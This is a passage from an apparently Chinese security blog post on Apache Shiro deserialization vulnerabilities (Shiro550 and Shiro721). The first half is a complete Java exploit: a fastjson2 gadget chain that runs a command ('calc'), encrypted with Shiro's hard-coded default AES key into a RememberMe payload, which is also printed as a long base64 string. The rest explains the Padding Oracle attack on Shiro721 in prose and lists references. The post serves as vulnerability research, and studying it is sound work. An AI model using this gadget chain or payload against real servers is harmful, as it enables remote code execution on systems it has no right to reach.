    <groupId>com.alibaba.fastjson2</groupId>
    <artifactId>fastjson2</artifactId>
    <version>2.0.24</version>
</dependency>
package com.lingx5;

import com.alibaba.fastjson2.JSONArray;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.shiro.codec.Base64;

import javax.crypto.Cipher;
import javax.crypto.spec.IvParameterSpec;
import javax.crypto.spec.SecretKeySpec;
import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;

public class fastjson {
    public static byte[] getEvil() throws Exception {
        String cmd = "Runtime.getRuntime().exec(\"calc\");";
        ClassPool classPool = ClassPool.getDefault();
        CtClass ctClass = classPool.makeClass("evil");
        ctClass.setSuperclass(classPool.get("com.sun.org.apache.xalan.internal.xsltc.runtime" +
                                            ".AbstractTranslet"));
        ctClass.makeClassInitializer().insertBefore(cmd);
        return ctClass.toBytecode();
    }
    public static void setField(Object object, String fieldName, Object fieldValue) throws Exception {
        Field field = object.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(object, fieldValue);
    }
    public static Object getPOC() throws Exception {
        TemplatesImpl templates = new TemplatesImpl();
        setField(templates, "_bytecodes", new byte[][]{getEvil()});
        setField(templates,"_name","evil");
        JSONArray array = new JSONArray();
        array.add(templates);
        BadAttributeValueExpException badAttr = new BadAttributeValueExpException("lingx5");
        setField(badAttr,"val",array);
        HashMap hashMap = new HashMap();
        hashMap.put(templates, badAttr);
        return hashMap;
    }
    public static void main(String[] args) throws Exception {
        // 序列化map gadget
        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(getPOC());
        oos.close();
        byte[] evilBytes = barr.toByteArray();
        // AES加密
        byte[] key = Base64.decode("kPH+bIxk5D2deZiIxcaaaA==");
        Cipher cipher = Cipher.getInstance("AES/CBC/PKCS5Padding");
        // 创建 IV
        byte[] iv = new byte[16];
        IvParameterSpec ivParameterSpec = new IvParameterSpec(iv);
        // 创建密钥
        SecretKeySpec secretKey = new SecretKeySpec(key, "AES");
        cipher.init(Cipher.ENCRYPT_MODE, secretKey, ivParameterSpec);
        byte[] enBytes = cipher.doFinal(evilBytes);
        // 拼接 IV 和 加密后的内容
        byte[] IVAndEnBytes = new byte[iv.length + enBytes.length];
        System.arraycopy(iv, 0, IVAndEnBytes, 0, iv.length);
        System.arraycopy(enBytes, 0, IVAndEnBytes, iv.length, enBytes.length);
        // 输出 Base64 编码
        String evilBase64 = Base64.encodeToString(IVAndEnBytes);
        System.out.println(evilBase64);
        /**
         * AES解密,模拟shiro反序列化
         */
        // 解码 Base64 编码
        byte[] decodeBytes = Base64.decode(evilBase64);
        // 提取 IV
        byte[] deIv = new byte[16];
        System.arraycopy(decodeBytes, 0, deIv, 0, deIv.length);
        byte[] encBytes = new byte[decodeBytes.length - deIv.length];
        System.arraycopy(decodeBytes, deIv.length, encBytes, 0, encBytes.length);
        // 解密
        IvParameterSpec deIvParameterSpec = new IvParameterSpec(deIv);
        cipher.init(Cipher.DECRYPT_MODE, secretKey, deIvParameterSpec);
        byte[] evil = cipher.doFinal(encBytes);
        // 反序列化
        ByteArrayInputStream bais = new ByteArrayInputStream(evil);
        ObjectInputStream ois = new ObjectInputStream(bais);
        ois.readObject();
    }
}
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

看到是可以执行成功的

image-20250420201255464

Shiro721

影响版本:shiro < 1.4.2 (1.2.5, 1.2.6, 1.3.0, 1.3.1, 1.3.2, 1.4.0-RC2, 1.4.0, 1.4.1)

在 shiro550 中,官方使用的加密 key 是硬编码在源代码中的,这给了攻击者利用解密的过程可以传入带有攻击的 RememberMe 载荷。

在 shiro721 中,官方是在 shiro 的内部动态生成一个用于加密的 key,不过默认使用的 AES-128-CBC 模式加密,这种加密模式可以使用 Padding Oracle Attack 攻击技术,爆破中间值,从而可以构造精心设置的 payload

关于加密模式是如何破解的,可以看这位师傅的文章:CBC 字节翻转攻击&Padding Oracle Attack 原理解析 - 枫 のBlog 讲的很详细了

简单描述一下:

加密过程:

  1. 对明文数据进行分组和填充,按照 BlockSize 8 字节,分成若干组,最后一组不足 8 字节,缺 ? 位,用 0x? 填充。例如(abcd0x40x40x40x4 或者 abcde0x30x30x3)
  2. IV 第一组明文 异或得到 中间值(1) , 然后中间值做 AES 加密,得到 第一组密文
  3. 利用 上一次获得的 第一组密文 ,作为下一组的 IV第二组明文 进行异或得到 中间值(2) 进行 AES 加密,得到第二组密文
  4. 递归上述操作,得到完整的密文
  5. IV 拼接到密文的最前方 进行传递

解密过程其实就是反过了

  1. 把拿到的密文分组 8 字节一组,除第一组 IV 外,分别做 AES 解密,获得 中间值(1), 中间值(2), 中间值(3) .....
  2. IV中间值(1) 异或拿到第一组明文
  3. 第一组密文中间值(2) 异或拿到第二组明文

IV 和 整体的密文的 base64 编码就是 RemeberMe 字段,也就是说在 shiro 中 IV密文 是可控的

我们可以控制 IV 的八个字节,先让整体为 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00,去异或根据抛出的异常在尝试 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x01 ~~~ 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0xFF 一定会有一次让明文为 adcdefg0x01 的形式,这个填充是正确的,相当于是分组的时候,长度不够 8 个字节,填充了一位 0x01

假设 尝试的 IV 为 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x3F

那么我们可以用 0x3F 异或 0x01 的到 中间值 最后一位 为 0x3E

知道中间值了 我只需要让 IVa 异或 0x3E = ? 。这样 我们就可以控制的到的明文最后一位是 a

也就是经过多次爆破后,我们可以把 整组的中间值给爆破出来,利用异或去构造特定的 payload

Padding Oracle Attack 的基本原理就是这样,简单文字描述了一下,文章讲的很清楚,我就不抄录了。

其实 shiro721 并不是 shiro 内部逻辑的问题,而是采用的加密算法是可爆破的,给攻击者提供了一种方式,不过要正常爆破一个可用的 payload,其爆破的数量是庞大的,利用起来还是有一定的被封 ip 的可能

参考链接

Java 反序列化之 Shiro 反序列化利用-先知社区

深入探究 Shiro 漏洞成因及攻击技术-先知社区

https://www.javasec.org/java-vuls/shiro/Shiro-1.html

CBC 字节翻转攻击&Padding Oracle Attack 原理解析 - 枫 のBlog

posted @ 2025-04-21 20:48  LingX5  阅读(236)  评论(0)    收藏  举报